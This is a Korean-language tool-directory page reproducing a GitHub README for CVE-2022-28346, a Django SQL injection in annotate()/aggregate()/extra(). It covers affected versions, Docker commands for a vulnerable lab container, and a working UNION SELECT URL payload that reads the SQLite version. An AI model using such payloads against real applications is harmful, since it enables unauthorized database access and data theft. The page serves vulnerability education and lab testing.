Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2022-28346 — Django 패키지에서 SQL 주입으로 이어지는 결함이 발견되었습니다. 이 결함은 악성 SQL 쿼리가 포함된 조작된 딕셔너리를 사용하는 공격자가 데이터베이스를 완전히 손상시킬 수 있도록 합니다. | Kitploit
도구/GitHubGitHub/kamal-marouane/cve-2022-28346
Vulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationDatabase SecurityLabs & Practice
GitHubkamal-marouane/cve-2022-28346

CVE-2022-28346

Django 패키지에서 SQL 주입으로 이어지는 결함이 발견되었습니다. 이 결함은 악성 SQL 쿼리가 포함된 조작된 딕셔너리를 사용하는 공격자가 데이터베이스를 완전히 손상시킬 수 있도록 합니다.

저장소 보기
1182년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2022-28346

Django 패키지에서 발견된 결함으로, SQL 인젝션으로 이어집니다. 이 결함으로 인해 공격자는 악성 SQL 쿼리가 포함된 조작된 딕셔너리를 사용하여 데이터베이스를 완전히 손상시킬 수 있습니다.

목차

  • CVE-2022-28346
    • 설명
    • 환경
    • 개념 증명 및 익스플로잇
    • 참고 자료

위 코드 저장소에서 CVE-2022-28346에 대한 상세 분석 보고서(PDF)를 찾을 수 있습니다.

설명

CVE-2022-28346은 인기 있는 Python 웹 프레임워크인 Django의 여러 버전에서 확인된 심각한 취약점입니다. 이 취약점은 특히 Django 2.2 2.2.28 미만, 3.2 3.2.13 미만, 4.0 4.0.4 미만 버전에 영향을 미칩니다.

문제의 핵심은 Django의 QuerySet.annotate(), aggregate(), extra() 메서드에 있습니다. 이러한 메서드는 전달된 **kwargs로 열 별칭이 조작된 딕셔너리(딕셔너리 확장 포함)와 함께 사용될 때 SQL 인젝션 공격에 취약합니다. SQL 인젝션은 공격자가 애플리케이션이 데이터베이스에 만드는 쿼리를 간섭할 수 있게 하는 공격 유형입니다. 이를 사용하여 공격자는 일반적으로 검색할 수 없는 데이터(다른 사용자의 데이터 또는 애플리케이션 자체가 액세스할 수 있는 모든 데이터)를 볼 수 있습니다. 경우에 따라 공격자는 이 데이터를 수정하거나 삭제하여 데이터 무결성에 영향을 미칠 수 있습니다.

환경

이 취약점을 철저히 테스트하려면 하드 디스크에 충분한 여유 공간이 있는지 확인하십시오. 취약점 테스트를 성공적으로 수행하려면 최소 1.2GB가 필요합니다.

이미 Docker가 설치되어 있다면 이 섹션을 건너뛰고 다음 지침으로 바로 진행할 수 있습니다.

이 취약점 테스트를 시작하려면 Docker를 설치하십시오.

  • Linux 환경에 Docker 설치
  • Windows 환경에 Docker 설치

다음 단계로 이동하기 전에 Docker가 작동 중인지 확인하십시오.

터미널에서 다음 명령을 실행하여 우리가 생성하여 DockerHub에 푸시한 Docker 이미지를 가져옵니다.

sudo docker pull marouanekamal/cve-2022-28346:latest


Docker 이미지 풀링이 완료될 때까지 기다리십시오. 문제가 발생하면 인터넷 연결 때문일 수 있습니다. 안정적이고 활성화된 연결이 있는지 확인하십시오.

설치가 끝난 후 다음 명령을 실행하여 이미지가 존재하는지 확인하십시오.

sudo docker images


이제 다음 명령을 사용하여 Docker 이미지를 실행할 수 있습니다.

sudo docker run -p 8000:8000 --name my_cve_container marouanekamal/cve-2022-28346:latest


이제 서버가 실행 중이며 이 CVE를 익스플로잇할 수 있습니다. ;)

개념 증명 및 익스플로잇

Docker 이미지를 실행한 후 다음 링크로 이동하여 URL에 접근할 수 있는지 확인하십시오.

http://0.0.0.0:8000/


ok라는 단어가 표시되면 URL에 접근 가능하고 모든 것이 정상적으로 작동 중임을 의미합니다!

이제 SQL 인젝션을 사용하여 이 취약점을 공격해 보겠습니다. 다음 URL을 입력하십시오.

http://0.0.0.0:8000/demo?field=demo.name" FROM "demo_user" union SELECT "1",sqlite_version(),"3" --


서버에서 사용하는 SQLite 버전을 확인할 수 있었습니다. ;)

참고 자료

  • https://mocusez.site/posts/a3ce.html
  • https://blog.csdn.net/weixin_46944519/article/details/128496498
  • https://www.cvedetails.com/cve/CVE-2022-28346/?q=CVE-2022-28346
  • https://avd.aquasec.com/nvd/2022/cve-2022-28346/
  • https://cyber.vumetric.com/vulns/CVE-2022-28346/sql-injection-vulnerability-in-multiple-products/
  • https://www.suse.com/security/cve/CVE-2022-28346.html
  • https://docs.djangoproject.com/en/4.0/releases/security/
  • https://www.freebuf.com/vuls/332893.html

문제가 발생하거나 단계에 대한 설명이 필요한 경우 언제든지 이메일로 연락 주십시오. 도움을 드리겠습니다.

[email protected]

도구 다운로드